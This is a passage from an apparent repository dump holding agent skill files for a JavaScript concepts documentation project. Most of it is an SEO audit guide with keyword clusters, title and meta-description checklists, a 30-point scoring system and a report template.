about promises\" | \"[What makes it unique]. [Why read it].\" |\n\n---\n\n## Missing Resources (Recommendations)\n\n| Type | Gap | Suggested Resource | URL |\n|------|-----|-------------------|-----|\n| Reference | No main MDN link | [Topic] — MDN | [URL] |\n| Article | No beginner guide | [Title] — javascript.info | [URL] |\n| Video | No visual explanation | [Title] — [Creator] | [URL] |\n| Article | No advanced deep-dive | [Title] — 2ality | [URL] |\n\n---\n\n## Non-JavaScript Resources (Remove)\n\n| Resource | Line | Issue |\n|----------|------|-------|\n| [Title] | XX | Primarily about C#, not JavaScript |\n\n---\n\n## Action Items\n\n### High Priority (Do First)\n1. **Remove broken link:** [Title] (line XX)\n2. **Add missing MDN reference:** [Topic]\n3. **Replace outdated resource:** [Title] with [alternative]\n\n### Medium Priority\n1. **Update redirect URL:** [Title] (line XX)\n2. **Improve description:** [Title] (line XX)\n3. **Add beginner-friendly article**\n\n### Low Priority\n1. **Add additional video resource**\n2. **Consider adding course section**\n\n---\n\n## Verification Checklist\n\nAfter making changes:\n\n- [ ] All broken links removed or replaced\n- [ ] All redirect URLs updated\n- [ ] Outdated resources replaced\n- [ ] Generic descriptions rewritten\n- [ ] Missing resource types added\n- [ ] Resource counts meet targets\n- [ ] All new links verified working\n- [ ] All descriptions are specific and valuable\n```\n\n---\n\n## Quick Reference\n\n### Icon Reference\n\n| Content Type | Icon Value |\n|--------------|------------|\n| MDN/Official docs | `book` |\n| Articles/Blog posts | `newspaper` |\n| Videos | `video` |\n| Courses | `graduation-cap` |\n| Books | `book` |\n| Related concepts | Context-appropriate |\n\n### Character Guidelines\n\n| Element | Guideline |\n|---------|-----------|\n| Card title | Keep concise, include creator for videos |\n| Description sentence 1 | What it covers / what's unique |\n| Description sentence 2 | Why read/watch / who it's for |\n\n### Resource Ordering\n\nWithin each section, order resources:\n1. **Most foundational/beginner-friendly first**\n2. **Official references before community content**\n3. **Most highly recommended prominently placed**\n4. **Advanced/niche content last**\n\n---\n\n## Quality Checklist\n\n### Link Verification\n- [ ] All links return 200 (not 404, 301)\n- [ ] No redirect chains\n- [ ] No hard paywalls without notice\n- [ ] All URLs are HTTPS where available\n\n### Content Quality\n- [ ] All resources are JavaScript-focused\n- [ ] No resources teaching anti-patterns\n- [ ] Publication dates appropriate for topic\n- [ ] Mix of beginner and advanced content\n- [ ] Visual and text resources included\n\n### Description Quality\n- [ ] All descriptions are specific (not generic)\n- [ ] Descriptions explain unique value\n- [ ] No \"comprehensive guide to...\" phrases\n- [ ] Each description is 2 sentences\n- [ ] Descriptions match actual content\n\n### Completeness\n- [ ] 2-4 MDN/official references\n- [ ] 4-6 quality articles\n- [ ] 3-4 quality videos\n- [ ] Resources ordered logically\n- [ ] Diversity in teaching styles\n\n---\n\n## Summary\n\nWhen curating resources for a concept page:\n\n1. **Audit first** — Check all existing links and content\n2. **Identify gaps** — Compare against targets (2-4 refs, 4-6 articles, 3-4 videos)\n3. **Find quality resources** — Search trusted sources\n4. **Write specific descriptions** — What's unique + why read/watch\n5. **Format correctly** — Proper Card syntax, icons, ordering\n6. **Document changes** — Use the audit report template\n\n**Remember:** Resources should enhance learning, not pad the page. Every link should offer genuine value. Quality over quantity — a few excellent resources beat many mediocre ones.\n"
  },
  {
    "path": ".opencode/skill/seo-review/SKILL.md",
    "content": "---\nname: seo-review\ndescription: Perform a focused SEO audit on JavaScript concept pages to maximize search visibility, featured snippet optimization, and ranking potential\n---\n\n# Skill: SEO Audit for Concept Pages\n\nUse this skill to perform a focused SEO audit on concept documentation pages for the 33 JavaScript Concepts project. The goal is to maximize search visibility for JavaScript developers.\n\n## When to Use\n\n- Before publishing a new concept page\n- When optimizing underperforming pages\n- Periodic content audits\n- After major content updates\n- When targeting new keywords\n\n## Goal\n\nEach concept page should rank for searches like:\n- \"what is [concept] in JavaScript\"\n- \"how does [concept] work in JavaScript\"\n- \"[concept] JavaScript explained\"\n- \"[concept] JavaScript tutorial\"\n- \"[concept] JavaScript example\"\n\n---\n\n## SEO Audit Methodology\n\nFollow these five steps for a complete SEO audit.\n\n### Step 1: Identify Target Keywords\n\nBefore auditing, identify the keyword cluster for the concept.\n\n#### Keyword Cluster Template\n\n| Type | Pattern | Example (Closures) |\n|------|---------|-------------------|\n| **Primary** | [concept] JavaScript | closures JavaScript |\n| **What is** | what is [concept] in JavaScript | what is a closure in JavaScript |\n| **How does** | how does [concept] work | how do closures work |\n| **How to** | how to use/create [concept] | how to use closures |\n| **Why** | why use [concept] | why use closures JavaScript |\n| **Examples** | [concept] examples | closure examples JavaScript |\n| **vs** | [concept] vs [related] | closures vs scope |\n| **Interview** | [concept] interview questions | closure interview questions |\n\n### Step 2: On-Page SEO Audit\n\nCheck all on-page SEO elements systematically.\n\n### Step 3: Featured Snippet Optimization\n\nVerify content is structured to win featured snippets.\n\n### Step 4: Internal Linking Audit\n\nCheck the internal link structure.\n\n### Step 5: Generate Report\n\nDocument findings using the report template.\n\n---\n\n## Keyword Clusters by Concept\n\nUse these pre-built keyword clusters for each concept.\n\n<AccordionGroup>\n  <Accordion title=\"Call Stack\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript call stack, call stack JavaScript |\n    | What is | what is the call stack in JavaScript |\n    | How does | how does the call stack work |\n    | Error | maximum call stack size exceeded, stack overflow JavaScript |\n    | Visual | call stack visualization, call stack explained |\n    | Interview | call stack interview questions JavaScript |\n  </Accordion>\n\n  <Accordion title=\"Primitive Types\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript primitive types, primitives in JavaScript |\n    | What are | what are primitive types in JavaScript |\n    | List | JavaScript data types, types in JavaScript |\n    | vs | primitives vs objects JavaScript |\n    | typeof | typeof JavaScript, JavaScript typeof operator |\n    | Interview | JavaScript types interview questions |\n  </Accordion>\n\n  <Accordion title=\"Value vs Reference Types\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript value vs reference, pass by reference JavaScript |\n    | What is | what is pass by value in JavaScript |\n    | How does | how does JavaScript pass objects |\n    | Comparison | value types vs reference types JavaScript |\n    | Copy | how to copy objects JavaScript, deep copy JavaScript |\n  </Accordion>\n\n  <Accordion title=\"Type Coercion\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript type coercion, type conversion JavaScript |\n    | What is | what is type coercion in JavaScript |\n    | How does | how does type coercion work |\n    | Implicit | implicit type conversion JavaScript |\n    | Explicit | explicit type conversion JavaScript |\n    | Interview | type coercion interview questions |\n  </Accordion>\n\n  <Accordion title=\"Equality Operators\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript equality, == vs === JavaScript |\n    | What is | what is the difference between == and === |\n    | Comparison | loose equality vs strict equality JavaScript |\n    | Best practice | when to use == vs === |\n    | Interview | JavaScript equality interview questions |\n  </Accordion>\n\n  <Accordion title=\"Scope and Closures\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript closures, JavaScript scope |\n    | What is | what is a closure in JavaScript, what is scope |\n    | How does | how do closures work, how does scope work |\n    | Types | types of scope JavaScript, lexical scope |\n    | Use cases | closure use cases, why use closures |\n    | Interview | closure interview questions JavaScript |\n  </Accordion>\n\n  <Accordion title=\"Event Loop\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript event loop, event loop JavaScript |\n    | What is | what is the event loop in JavaScript |\n    | How does | how does the event loop work |\n    | Visual | event loop visualization, event loop explained |\n    | Related | call stack event loop, task queue JavaScript |\n    | Interview | event loop interview questions |\n  </Accordion>\n\n  <Accordion title=\"Promises\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript Promises, Promises in JavaScript |\n    | What is | what is a Promise in JavaScript |\n    | How to | how to use Promises, how to chain Promises |\n    | Methods | Promise.all, Promise.race, Promise.allSettled |\n    | Error | Promise error handling, Promise catch |\n    | vs | Promises vs callbacks, Promises vs async await |\n  </Accordion>\n\n  <Accordion title=\"async/await\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript async await, async await JavaScript |\n    | What is | what is async await in JavaScript |\n    | How to | how to use async await, async await tutorial |\n    | Error | async await error handling, try catch async |\n    | vs | async await vs Promises |\n    | Interview | async await interview questions |\n  </Accordion>\n\n  <Accordion title=\"this Keyword\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript this keyword, this in JavaScript |\n    | What is | what is this in JavaScript |\n    | How does | how does this work in JavaScript |\n    | Binding | call apply bind JavaScript, this binding |\n    | Arrow | this in arrow functions |\n    | Interview | this keyword interview questions |\n  </Accordion>\n\n  <Accordion title=\"Prototypes\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript prototype, prototype chain JavaScript |\n    | What is | what is a prototype in JavaScript |\n    | How does | how does prototype inheritance work |\n    | Chain | prototype chain explained |\n    | vs | prototype vs class JavaScript |\n    | Interview | prototype interview questions JavaScript |\n  </Accordion>\n\n  <Accordion title=\"DOM\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript DOM, DOM manipulation JavaScript |\n    | What is | what is the DOM in JavaScript |\n    | How to | how to manipulate DOM JavaScript |\n    | Methods | getElementById, querySelector JavaScript |\n    | Events | DOM events JavaScript, event listeners |\n    | Performance | DOM performance, virtual DOM vs DOM |\n  </Accordion>\n\n  <Accordion title=\"Higher-Order Functions\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript higher order functions, higher order functions |\n    | What are | what are higher order functions |\n    | Examples | map filter reduce JavaScript |\n    | How to | how to use higher order functions |\n    | Interview | higher order functions interview |\n  </Accordion>\n\n  <Accordion title=\"Recursion\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript recursion, recursion in JavaScript |\n    | What is | what is recursion in JavaScript |\n    | How to | how to write recursive functions |\n    | Examples | recursion examples JavaScript |\n    | vs | recursion vs iteration JavaScript |\n    | Interview | recursion interview questions |\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Audit Checklists\n\n### Title Tag Checklist (4 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | Length 50-60 characters | 1 | Count characters in `title` frontmatter |\n| 2 | Primary keyword in first half | 1 | Concept name appears early |\n| 3 | Ends with \"in JavaScript\" | 1 | Check title ending |\n| 4 | Contains compelling hook | 1 | Promises value/benefit to reader |\n\n**Scoring:**\n- 4/4: ✅ Excellent\n- 3/4: ⚠️ Good, minor improvements possible\n- 0-2/4: ❌ Needs significant work\n\n**Title Formula:**\n```\n[Concept]: [What You'll Understand] in JavaScript\n```\n\n**Good Examples:**\n| Concept | Title (with character count) |\n|---------|------------------------------|\n| Closures | \"Closures: How Functions Remember Their Scope in JavaScript\" (58 chars) |\n| Event Loop | \"Event Loop: How Async Code Actually Runs in JavaScript\" (54 chars) |\n| Promises | \"Promises: Handling Async Operations in JavaScript\" (49 chars) |\n| DOM | \"DOM: How Browsers Represent Web Pages in JavaScript\" (51 chars) |\n\n**Bad Examples:**\n| Issue | Bad Title | Better Title |\n|-------|-----------|--------------|\n| Too short | \"Closures\" | \"Closures: How Functions Remember Their Scope in JavaScript\" |\n| Too long | \"Understanding JavaScript Closures and How They Work with Examples\" (66 chars) | \"Closures: How Functions Remember Their Scope in JavaScript\" (58 chars) |\n| No hook | \"JavaScript Closures\" | \"Closures: How Functions Remember Their Scope in JavaScript\" |\n| Missing \"JavaScript\" | \"Understanding Closures and Scope\" | Add \"in JavaScript\" at end |\n\n---\n\n### Meta Description Checklist (4 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | Length 150-160 characters | 1 | Count characters in `description` frontmatter |\n| 2 | Starts with action word | 1 | \"Learn\", \"Understand\", \"Discover\" (NOT \"Master\") |\n| 3 | Contains primary keyword | 1 | Concept name + \"JavaScript\" present |\n| 4 | Promises specific value | 1 | Lists what reader will learn |\n\n**Description Formula:**\n```\n[Action word] [what it is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3].\n```\n\n**Good Examples:**\n\n| Concept | Description |\n|---------|-------------|\n| Closures | \"Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns.\" (159 chars) |\n| Event Loop | \"Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking.\" (176 chars - trim!) |\n| DOM | \"Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering.\" (162 chars) |\n\n**Bad Examples:**\n\n| Issue | Bad Description | Fix |\n|-------|-----------------|-----|\n| Too short | \"Learn about closures\" | Expand to 150-160 chars with specifics |\n| Starts with \"Master\" | \"Master JavaScript closures...\" | \"Learn JavaScript closures...\" |\n| Too vague | \"A guide to closures\" | List specific topics covered |\n| Missing keyword | \"Functions can remember things\" | Include \"closures\" and \"JavaScript\" |\n\n---\n\n### Keyword Placement Checklist (5 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | Primary keyword in title | 1 | Check frontmatter `title` |\n| 2 | Primary keyword in meta description | 1 | Check frontmatter `description` |\n| 3 | Primary keyword in first 100 words | 1 | Check opening paragraphs |\n| 4 | Keyword in at least one H2 heading | 1 | Scan all `##` headings |\n| 5 | No keyword stuffing | 1 | Content reads naturally |\n\n**Keyword Placement Map:**\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         KEYWORD PLACEMENT                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  🔴 CRITICAL (Must have keyword)                                         │\n│  ─────────────────────────────────                                       │\n│  • title frontmatter                                                     │\n│  • description frontmatter                                               │\n│  • First paragraph (within 100 words)                                    │\n│  • At least one H2 heading                                               │\n│                                                                          │\n│  🟡 RECOMMENDED (Include naturally)                                      │\n│  ──────────────────────────────────                                      │\n│  • \"What you'll learn\" Info box                                          │\n│  • H3 subheadings                                                        │\n│  • Key Takeaways section                                                 │\n│  • First sentence after major H2s                                        │\n│                                                                          │\n│  ⚠️ AVOID                                                                │\n│  ─────────                                                               │\n│  • Same phrase >4 times per 1000 words                                   │\n│  • Forcing keywords where pronouns work better                           │\n│  • Awkward sentence structures to fit keywords                           │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n### Content Structure Checklist (6 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | Opens with question hook | 1 | First paragraph asks engaging question |\n| 2 | Code example in first 200 words | 1 | Simple example appears early |\n| 3 | \"What you'll learn\" Info box | 1 | `<Info>` component after opening |\n| 4 | Short paragraphs (2-4 sentences) | 1 | Scan content for long blocks |\n| 5 | 1,500+ words | 1 | Word count check |\n| 6 | Key terms bolded on first mention | 1 | Important terms use `**bold**` |\n\n**Content Structure Template:**\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                       IDEAL PAGE STRUCTURE                               │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  1. QUESTION HOOK (First 50 words)                                       │\n│     \"How does JavaScript...? Why do...?\"                                 │\n│                                                                          │\n│  2. BRIEF ANSWER + CODE EXAMPLE (Words 50-200)                           │\n│     Quick explanation + simple code demo                                 │\n│                                                                          │\n│  3. \"WHAT YOU'LL LEARN\" INFO BOX                                         │\n│     5-7 bullet points                                                    │\n│                                                                          │\n│  4. PREREQUISITES WARNING (if applicable)                                │\n│     Link to required prior concepts                                      │\n│                                                                          │\n│  5. MAIN CONTENT SECTIONS (H2s)                                          │\n│     Each H2 answers a question or teaches a concept                      │\n│     Include code examples, diagrams, tables                              │\n│                                                                          │\n│  6. COMMON MISTAKES / GOTCHAS SECTION                                    │\n│     What trips people up                                                 │\n│                                                                          │\n│  7. KEY TAKEAWAYS                                                        │\n│     8-10 numbered points summarizing everything                          │\n│                                                                          │\n│  8. TEST YOUR KNOWLEDGE                                                  │\n│     5-6 Q&A accordions                                                   │\n│                                                                          │\n│  9. RELATED CONCEPTS                                                     │\n│     4 cards linking to related topics                                    │\n│                                                                          │\n│  10. RESOURCES (Reference, Articles, Videos)                             │\n│      MDN links, curated articles, videos                                 │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n### Featured Snippet Checklist (4 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | \"What is X\" has 40-60 word definition | 1 | Count words in first paragraph after \"What is\" H2 |\n| 2 | At least one H2 is phrased as question | 1 | Check for \"What is\", \"How does\", \"Why\" H2s |\n| 3 | Numbered steps for \"How to\" content | 1 | Uses `<Steps>` component or numbered list |\n| 4 | Comparison tables (if applicable) | 1 | Tables for \"X vs Y\" content |\n\n**Featured Snippet Patterns:**\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     FEATURED SNIPPET FORMATS                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  QUERY TYPE             WINNING FORMAT         YOUR CONTENT              │\n│  ───────────            ──────────────         ────────────              │\n│                                                                          │\n│  \"What is X\"            Paragraph              40-60 word definition     │\n│                                                after H2, bold keyword    │\n│                                                                          │\n│  \"How to X\"             Numbered list          <Steps> component or      │\n│                                                1. 2. 3. markdown         │\n│                                                                          │\n│  \"X vs Y\"               Table                  | Feature | X | Y |       │\n│                                                comparison table          │\n│                                                                          │\n│  \"Types of X\"           Bullet list            - **Type 1** — desc       │\n│                                                - **Type 2** — desc       │\n│                                                                          │\n│  \"[X] examples\"         Code block             ```javascript             │\n│                         + explanation          // example code           │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**Definition Paragraph Example (40-60 words):**\n\n```markdown\n## What is a Closure in JavaScript?\n\nA **closure** is a function that retains access to variables from its outer \n(enclosing) scope, even after that outer function has finished executing. \nClosures are created every time a function is created in JavaScript, allowing \ninner functions to \"remember\" and access their lexical environment.\n```\n\n(This is 52 words - perfect for a featured snippet)\n\n---\n\n### Internal Linking Checklist (4 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | 3-5 related concepts linked in body | 1 | Count `/concepts/` links in prose |\n| 2 | Descriptive anchor text | 1 | No \"click here\", \"here\", \"this\" |\n| 3 | Prerequisites in Warning box | 1 | `<Warning>` with links at start |\n| 4 | Related Concepts section has 4 cards | 1 | `<CardGroup>` at end with 4 Cards |\n\n**Good Anchor Text:**\n\n| ❌ Bad | ✓ Good |\n|--------|--------|\n| \"click here\" | \"event loop concept\" |\n| \"here\" | \"JavaScript closures\" |\n| \"this article\" | \"our Promises guide\" |\n| \"read more\" | \"understanding the call stack\" |\n\n**Link Placement Strategy:**\n\n```markdown\n<!-- In Prerequisites (Warning box) -->\n<Warning>\n**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) \nand the [Event Loop](/concepts/event-loop). Read those first if needed.\n</Warning>\n\n<!-- In Body Content (natural context) -->\nWhen the callback finishes, it's added to the task queue — managed by \nthe [event loop](/concepts/event-loop).\n\n<!-- In Related Concepts Section -->\n<CardGroup cols={2}>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    async/await is built on top of Promises\n  </Card>\n</CardGroup>\n```\n\n---\n\n### Technical SEO Checklist (3 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | Single H1 per page | 1 | Only one `#` heading (the title) |\n| 2 | URL slug contains keyword | 1 | `/concepts/closures` not `/concepts/topic-1` |\n| 3 | No orphan pages | 1 | Page is linked from at least one other page |\n\n**H1 Rule:**\n\nEvery page should have exactly ONE H1 (your main title). This is critical for SEO:\n- The H1 tells Google what the page is about\n- Multiple H1s confuse search engines about page hierarchy\n- All other headings should be H2 (`##`) and below\n- The H1 should contain your primary keyword\n\n```markdown\n# Closures in JavaScript     ← This is your H1 (only one!)\n\n## What is a Closure?        ← H2 for sections\n### Lexical Scope            ← H3 for subsections\n## How Closures Work         ← Another H2\n```\n\n**URL/Slug Best Practices:**\n\n| ✅ Good | ❌ Bad |\n|---------|--------|\n| `/concepts/closures` | `/concepts/c1` |\n| `/concepts/event-loop` | `/concepts/topic-7` |\n| `/concepts/type-coercion` | `/concepts/abc123` |\n| `/concepts/async-await` | `/concepts/async_await` |\n\nRules for slugs:\n- **Include primary keyword** — The concept name should be in the URL\n- **Use hyphens, not underscores** — `event-loop` not `event_loop`\n- **Keep slugs short and readable** — Under 50 characters\n- **No UUIDs, database IDs, or random strings**\n- **Lowercase only** — `/concepts/Event-Loop` should be `/concepts/event-loop`\n\n**Orphan Page Detection:**\n\nAn orphan page has no internal links pointing to it from other pages. This hurts SEO because:\n- Google may not discover or crawl it frequently\n- It signals the page isn't important to your site structure\n- Users can't navigate to it naturally\n- Link equity doesn't flow to the page\n\n**How to check for orphan pages:**\n1. Search the codebase for links to this concept: `grep -r \"/concepts/[slug]\" docs/`\n2. Verify it appears in at least one other concept's \"Related Concepts\" section\n3. Check that pages listing it as a prerequisite link back appropriately\n4. Ensure it's included in the navigation (`docs.json`)\n\n**Fixing orphan pages:**\n- Add the concept to related pages' \"Related Concepts\" CardGroup\n- Link to it naturally in body content of related concepts\n- Ensure bidirectional linking (if A links to B, B should link back to A where relevant)\n\n---\n\n## Scoring System\n\n### Total Points Available: 30\n\n| Category | Max Points |\n|----------|------------|\n| Title Tag | 4 |\n| Meta Description | 4 |\n| Keyword Placement | 5 |\n| Content Structure | 6 |\n| Featured Snippets | 4 |\n| Internal Linking | 4 |\n| Technical SEO | 3 |\n| **Total** | **30** |\n\n### Score Interpretation\n\n| Score | Percentage | Status | Action |\n|-------|------------|--------|--------|\n| 27-30 | 90-100% | ✅ Excellent | Ready to publish |\n| 23-26 | 75-89% | ⚠️ Good | Minor optimizations needed |\n| 17-22 | 55-74% | ⚠️ Fair | Several improvements needed |\n| 0-16 | <55% | ❌ Poor | Significant work required |\n\n---\n\n## Common SEO Issues and Fixes\n\n### Title Tag Issues\n\n| Issue | Current | Fix |\n|-------|---------|-----|\n| Too short (<50 chars) | \"Closures\" (8) | \"Closures: How Functions Remember Their Scope in JavaScript\" (58) |\n| Too long (>60 chars) | \"Understanding JavaScript Closures and How They Work with Examples\" (66) | \"Closures: How Functions Remember Their Scope in JavaScript\" (58) |\n| Missing keyword | \"Understanding Scope\" | Add concept name: \"Closures: Understanding Scope in JavaScript\" |\n| No hook | \"JavaScript Closures\" | Add benefit: \"Closures: How Functions Remember Their Scope in JavaScript\" |\n| Missing \"JavaScript\" | \"Closures Explained\" | Add at end: \"Closures Explained in JavaScript\" |\n\n### Meta Description Issues\n\n| Issue | Current | Fix |\n|-------|---------|-----|\n| Too short (<120 chars) | \"Learn about closures\" (20) | Expand with specifics to 150-160 chars |\n| Too long (>160 chars) | [Gets truncated] | Edit ruthlessly, keep key information |\n| Starts with \"Master\" | \"Master JavaScript closures...\" | \"Learn JavaScript closures...\" |\n| No keyword | \"Functions that remember\" | Include \"closures\" and \"JavaScript\" |\n| Too vague | \"A guide to closures\" | List specific topics: \"Covers X, Y, and Z\" |\n\n### Content Structure Issues\n\n| Issue | Fix |\n|-------|-----|\n| No question hook | Start with \"How does...?\" or \"Why...?\" |\n| Code example too late | Move simple example to first 200 words |\n| Missing Info box | Add `<Info>` with \"What you'll learn\" |\n| Long paragraphs | Break into 2-4 sentence chunks |\n| Under 1,500 words | Add more depth, examples, edge cases |\n| No bolded terms | Bold key concepts on first mention |\n\n### Featured Snippet Issues\n\n| Issue | Fix |\n|-------|-----|\n| No \"What is\" definition | Add 40-60 word definition paragraph |\n| Definition too long | Tighten to 40-60 words |\n| No question H2s | Add \"What is X?\" or \"How does X work?\" H2 |\n| Steps not numbered | Use `<Steps>` or numbered markdown |\n| No comparison tables | Add table for \"X vs Y\" sections |\n\n### Internal Linking Issues\n\n| Issue | Fix |\n|-------|-----|\n| No internal links | Add 3-5 links to related concepts |\n| Bad anchor text | Replace \"click here\" with descriptive text |\n| No prerequisites | Add `<Warning>` with prerequisite links |\n| Empty Related Concepts | Add 4 Cards linking to related topics |\n\n### Technical SEO Issues\n\n| Issue | Fix |\n|-------|-----|\n| Multiple H1 tags | Keep only one `#` heading (the title), use `##` for all sections |\n| Slug missing keyword | Rename file to include concept name (e.g., `closures.mdx`) |\n| Orphan page | Add links from related concept pages' body or Related Concepts section |\n| Underscore in slug | Use hyphens: `event-loop.mdx` not `event_loop.mdx` |\n| Uppercase in slug | Use lowercase only: `async-await.mdx` not `Async-Await.mdx` |\n| Slug too long | Shorten to primary keyword: `closures.mdx` not `understanding-javascript-closures-and-scope.mdx` |\n\n---\n\n## SEO Audit Report Template\n\nUse this template to document your findings.\n\n```markdown\n# SEO Audit Report: [Concept Name]\n\n**File:** `/docs/concepts/[slug].mdx`\n**Date:** YYYY-MM-DD\n**Auditor:** [Name/Claude]\n**Overall Score:** XX/30 (XX%)\n**Status:** ✅ Excellent | ⚠️ Needs Work | ❌ Poor\n\n---\n\n## Score Summary\n\n| Category | Score | Status |\n|----------|-------|--------|\n| Title Tag | X/4 | ✅/⚠️/❌ |\n| Meta Description | X/4 | ✅/⚠️/❌ |\n| Keyword Placement | X/5 | ✅/⚠️/❌ |\n| Content Structure | X/6 | ✅/⚠️/❌ |\n| Featured Snippets | X/4 | ✅/⚠️/❌ |\n| Internal Linking | X/4 | ✅/⚠️/❌ |\n| Technical SEO | X/3 | ✅/⚠️/❌ |\n| **Total** | **X/30** | **STATUS** |\n\n---\n\n## Target Keywords\n\n**Primary Keyword:** [e.g., \"JavaScript closures\"]\n**Secondary Keywords:**\n- [keyword 1]\n- [keyword 2]\n- [keyword 3]\n\n**Search Intent:** Informational / How-to / Comparison\n\n---\n\n## Title Tag Analysis\n\n**Current Title:** \"[current title from frontmatter]\"\n**Character Count:** XX characters\n**Score:** X/4\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| Length 50-60 chars | ✅/❌ | XX characters |\n| Primary keyword in first half | ✅/❌ | [notes] |\n| Ends with \"in JavaScript\" | ✅/❌ | [notes] |\n| Contains compelling hook | ✅/❌ | [notes] |\n\n**Issues Found:** [if any]\n\n**Recommended Title:** \"[suggested title]\" (XX chars)\n\n---\n\n## Meta Description Analysis\n\n**Current Description:** \"[current description from frontmatter]\"\n**Character Count:** XX characters\n**Score:** X/4\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| Length 150-160 chars | ✅/❌ | XX characters |\n| Starts with action word | ✅/❌ | Starts with \"[word]\" |\n| Contains primary keyword | ✅/❌ | [notes] |\n| Promises specific value | ✅/❌ | [notes] |\n\n**Issues Found:** [if any]\n\n**Recommended Description:** \"[suggested description]\" (XX chars)\n\n---\n\n## Keyword Placement Analysis\n\n**Score:** X/5\n\n| Location | Present | Notes |\n|----------|---------|-------|\n| Title | ✅/❌ | [notes] |\n| Meta description | ✅/❌ | [notes] |\n| First 100 words | ✅/❌ | Found at word XX |\n| H2 heading | ✅/❌ | Found in: \"[H2 text]\" |\n| Natural reading | ✅/❌ | [no stuffing / stuffing detected] |\n\n**Missing Keyword Placements:**\n- [ ] [Location where keyword should be added]\n\n---\n\n## Content Structure Analysis\n\n**Word Count:** X,XXX words\n**Score:** X/6\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| Question hook opening | ✅/❌ | [notes] |\n| Code in first 200 words | ✅/❌ | Code appears at word XX |\n| \"What you'll learn\" box | ✅/❌ | [present/missing] |\n| Short paragraphs | ✅/❌ | [notes on paragraph length] |\n| 1,500+ words | ✅/❌ | X,XXX words |\n| Bolded key terms | ✅/❌ | [notes] |\n\n**Structure Issues:**\n- [ ] [Issue and recommendation]\n\n---\n\n## Featured Snippet Analysis\n\n**Score:** X/4\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| 40-60 word definition | ✅/❌ | Currently XX words |\n| Question-format H2 | ✅/❌ | Found: \"[H2]\" / Not found |\n| Numbered steps | ✅/❌ | [notes] |\n| Comparison tables | ✅/❌/N/A | [notes] |\n\n**Snippet Opportunities:**\n\n1. **\"What is [concept]\" snippet:**\n   - Current definition: XX words\n   - Action: [Expand to/Trim to] 40-60 words\n\n2. **\"How to [action]\" snippet:**\n   - Action: [Add Steps component / Already present]\n\n---\n\n## Internal Linking Analysis\n\n**Score:** X/4\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| 3-5 internal links in body | ✅/❌ | Found X links |\n| Descriptive anchor text | ✅/❌ | [notes] |\n| Prerequisites in Warning | ✅/❌ | [present/missing] |\n| Related Concepts section | ✅/❌ | X cards present |\n\n**Current Internal Links:**\n1. [Anchor text] → `/concepts/[slug]`\n2. [Anchor text] → `/concepts/[slug]`\n\n**Recommended Links to Add:**\n- Link to [concept] in [section/context]\n- Link to [concept] in [section/context]\n\n**Bad Anchor Text Found:**\n- Line XX: \"click here\" → change to \"[descriptive text]\"\n\n---\n\n## Technical SEO Analysis\n\n**Score:** X/3\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| Single H1 per page | ✅/❌ | [Found X H1 tags] |\n| URL slug contains keyword | ✅/❌ | Current: `/concepts/[slug]` |\n| Not an orphan page | ✅/❌ | Linked from X other pages |\n\n**H1 Tags Found:**\n- Line XX: `# [H1 text]` ← Should be the only one\n- [List any additional H1s that need to be changed to H2]\n\n**Slug Analysis:**\n- Current slug: `[slug].mdx`\n- Contains keyword: ✅/❌\n- Format correct: ✅/❌ (lowercase, hyphens, no special chars)\n\n**Incoming Links Found:**\n1. `/concepts/[other-concept]` → Links to this page in [section]\n2. `/concepts/[other-concept]` → Links in Related Concepts\n\n**If orphan page, add links from:**\n- [Suggested concept page] in [section]\n- [Suggested concept page] in Related Concepts\n\n---\n\n## Priority Fixes\n\n### High Priority (Do First)\n\n1. **[Issue]**\n   - Current: [what it is now]\n   - Recommended: [what it should be]\n   - Impact: [why this matters]\n\n2. 